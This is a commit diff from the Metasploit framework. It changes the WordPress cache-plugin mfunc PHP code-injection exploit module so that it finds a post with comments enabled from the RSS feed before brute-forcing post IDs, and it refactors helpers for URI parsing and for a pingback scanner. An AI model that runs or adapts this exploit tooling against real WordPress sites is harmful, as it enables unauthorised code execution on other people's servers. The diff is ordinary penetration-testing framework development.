use feed first before trying to bruteforce
parent
5f7ccf1cbe
commit
035258389f
|
@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
|
||||||
new_str
|
new_str
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns the Path+Query from a full URI String, nil on error
|
||||||
|
def path_from_uri(uri)
|
||||||
|
begin
|
||||||
|
temp = URI(uri)
|
||||||
|
ret_uri = temp.path
|
||||||
|
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
||||||
|
return ret_uri
|
||||||
|
rescue URI::Error
|
||||||
|
print_error "Invalid URI: #{uri}"
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the target host
|
# Returns the target host
|
||||||
#
|
#
|
||||||
|
|
|
@ -116,15 +116,7 @@ module Msf::HTTP::Wordpress::Helpers
|
||||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||||
|
|
||||||
location = res.headers['Location']
|
location = res.headers['Location']
|
||||||
begin
|
path_from_uri(location)
|
||||||
temp = URI(res.headers['Location'])
|
|
||||||
uri = temp.path
|
|
||||||
uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
|
||||||
return uri
|
|
||||||
rescue URI::Error
|
|
||||||
print_error("#{peer} - Invalid Location Header returned (not an URI): #{location}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -52,14 +52,33 @@ module Msf::HTTP::Wordpress::Posts
|
||||||
# @param post_id [Integer] The post ID to check
|
# @param post_id [Integer] The post ID to check
|
||||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||||
def wordpress_post_comments_enabled?(post_id, login_cookie=nil)
|
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
|
||||||
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
|
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks if the provided post has comments enabled
|
||||||
|
#
|
||||||
|
# @param url [String] The post url
|
||||||
|
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||||
|
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||||
|
def wordpress_post_comments_enabled?(url, login_cookie=nil)
|
||||||
|
wordpress_helper_check_post_id(url, true, login_cookie)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Gets the post_id from a post body
|
||||||
|
#
|
||||||
|
# @param body [String] The body of a post
|
||||||
|
# @return [String,nil] The post_id, nil when nothing found
|
||||||
|
def get_post_id_from_body(body)
|
||||||
|
return nil unless body
|
||||||
|
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
|
||||||
|
end
|
||||||
|
|
||||||
# Tries to get some Blog Posts via the RSS feed
|
# Tries to get some Blog Posts via the RSS feed
|
||||||
#
|
#
|
||||||
|
# @param max_redirects [Integer] maximum redirects to follow
|
||||||
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
||||||
def wordpress_get_all_blog_posts_via_feed
|
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
|
||||||
vprint_status("#{peer} - Enumerating Blog posts...")
|
vprint_status("#{peer} - Enumerating Blog posts...")
|
||||||
blog_posts = []
|
blog_posts = []
|
||||||
|
|
||||||
|
@ -70,7 +89,7 @@ module Msf::HTTP::Wordpress::Posts
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
})
|
})
|
||||||
|
|
||||||
count = datastore['NUM_REDIRECTS']
|
count = max_redirects
|
||||||
|
|
||||||
# Follow redirects
|
# Follow redirects
|
||||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||||
|
@ -109,7 +128,8 @@ module Msf::HTTP::Wordpress::Posts
|
||||||
end
|
end
|
||||||
|
|
||||||
links.each do |link|
|
links.each do |link|
|
||||||
blog_posts << link[0]
|
path = path_from_uri(link[0])
|
||||||
|
blog_posts << path if path
|
||||||
end
|
end
|
||||||
return blog_posts
|
return blog_posts
|
||||||
end
|
end
|
||||||
|
|
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def get_blog_posts(xml_rpc, ip)
|
def get_blog_posts(xml_rpc, ip)
|
||||||
# find all blog posts within IP and determine if pingback is enabled
|
# find all blog posts within IP and determine if pingback is enabled
|
||||||
blog_posts = wordpress_get_all_blog_posts_via_feed
|
blog_posts = wordpress_get_all_blog_posts_via_feed(datastore['NUM_REDIRECTS'])
|
||||||
blog_posts.each do |blog_post|
|
blog_posts.each do |blog_post|
|
||||||
pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
|
pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
|
||||||
if pingback_response
|
if pingback_response
|
||||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
||||||
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
||||||
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
||||||
then the module will automatically bruteforce one. Also, if anonymous comments
|
then the module will automatically find or bruteforce one. Also, if anonymous comments
|
||||||
aren't allowed, then a valid username and password must be provided. In addition,
|
aren't allowed, then a valid username and password must be provided. In addition,
|
||||||
the "A comment is held for moderation" option on Wordpress must be unchecked for
|
the "A comment is held for moderation" option on Wordpress must be unchecked for
|
||||||
successful exploitation. This module has been tested against Wordpress 3.5 and
|
successful exploitation. This module has been tested against Wordpress 3.5 and
|
||||||
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
unless wordpress_and_online?
|
unless wordpress_and_online?
|
||||||
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site")
|
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
||||||
end
|
end
|
||||||
|
|
||||||
@auth = require_auth?
|
@auth = require_auth?
|
||||||
|
@ -117,7 +117,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@post_id = datastore['POSTID']
|
@post_id = datastore['POSTID']
|
||||||
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
||||||
else
|
else
|
||||||
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
print_status("#{peer} - Trying to get posts from feed...")
|
||||||
|
all_posts = wordpress_get_all_blog_posts_via_feed
|
||||||
|
# First try all blog posts provided by feed
|
||||||
|
if all_posts
|
||||||
|
all_posts.each do |p|
|
||||||
|
vprint_status("#{peer} - Checking #{p}...")
|
||||||
|
enabled = wordpress_post_comments_enabled?(p, @cookie)
|
||||||
|
@post_id = get_post_id_from_body(enabled)
|
||||||
|
if @post_id
|
||||||
|
print_status("#{peer} - Found Post POST ID #{@post_id}...")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# if nothing found, bruteforce a post id
|
||||||
|
unless @post_id
|
||||||
|
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
|
||||||
min_post_id = datastore['MIN_POST_ID']
|
min_post_id = datastore['MIN_POST_ID']
|
||||||
max_post_id = datastore['MAX_POST_ID']
|
max_post_id = datastore['MAX_POST_ID']
|
||||||
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
||||||
|
@ -127,6 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
random_test = rand_text_alpha(64)
|
random_test = rand_text_alpha(64)
|
||||||
@sum = Rex::Text.sha1(random_test)
|
@sum = Rex::Text.sha1(random_test)
|
||||||
|
|
Loading…
Reference in New Issue